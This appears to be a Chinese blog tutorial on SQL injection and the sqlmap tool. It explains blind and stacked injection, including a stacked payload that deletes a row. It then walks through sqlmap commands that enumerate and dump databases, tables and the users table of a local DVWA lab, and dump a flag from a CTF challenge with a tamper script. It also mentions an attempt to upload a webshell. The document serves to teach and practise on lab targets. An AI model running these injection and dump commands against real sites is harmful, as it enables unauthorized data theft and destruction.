目录
0x01 sqlmap简介
0x02 使用手册
0x03 简单使用
注:sqlmap是一个神奇的工具,神奇到大表哥都弃啊D,明小子,穿山甲而去,开始使用sqlmap了,只要你用的熟,秒杀各种工具。我当时不知道sql盲注的时候,看着数据库里的数据一个一个字节爆出来,感觉很蒙蔽,也感觉特别神奇。我们通过上面的学习已经基本了解SQL注入原理以及盲注,接下来就让我们一起学习并对sqlmap进行以下实践吧!
0x01 sqlmap简介
sqlmap支持5种不同的盲注
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
在前面我们已经学过前4种注入,现在来看以下第5种注入
stacked injection 汉语翻译过来就是堆查询注入,也称为堆叠注入
1.注入原理
堆叠注入其实和union联合查询差不多,但是union查询联合的语句类型有限,联合查询查询的必须是相同的数据类型和数列,而堆叠注入则是在语句后面加;语句,例如:
将id的值赋予3

将id的值赋予3;delete from login where login.id=3

再查看id=3 ,则已经被删除

2.堆叠注入局限
可能会因为环境原因(api和数据库引擎不支持)和web环境(比如web前端只显示一条数据)
0x02 使用手册
中文 使用手册具体请见:
https://pan.baidu.com/s/1-cbdWbWMazl3y0gGoV-b9A 提取码:jrnc
接下来介绍一些简单的语法
0x03 sqlmap简单使用
本次使用还是在dvwa中使用
查服务器基本信息
python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3"

查数据库
python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3" --dbms="MySQL" --dbs

查数据库的表
python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3" -D "dvwa" --tables

查指定表的列名
python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3" -D "dvwa" -T "users" --columns

查表中数据
python.exe sqlmap/sqlmap.py -u"http://localhost:8888/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="security=low;PHPSESSID=jjslfbp8pteehcvqtgt36o3nh3" -D "dvwa" -T "users" --dump

我最后打算用sqlmap上传webshell,但是传不上去,原因待排查。
ctf题:http://www.shiyanbar.com/ctf/1908
爆破数据库
python.exe sqlmap/sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_2.php?id=2" --dbs

critical关键信息,在语句后面尝试加上 --tamper=space2comment(虽然不知道这是什么)。
python.exe sqlmap/sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_2.php?id=2" --dbs --tamper=space2comment

爆表名
python.exe sqlmap/sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_2.php?id=2" -D web1 --tamper=space2comment --tables

查表中数据
python.exe sqlmap/sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_2.php?id=2" -D web1 --tamper=space2comment -t flag --dump

验证,答案正确,这确实比手工注入美滋滋。

下一篇:sqlmap --tamper参数介绍
求关注





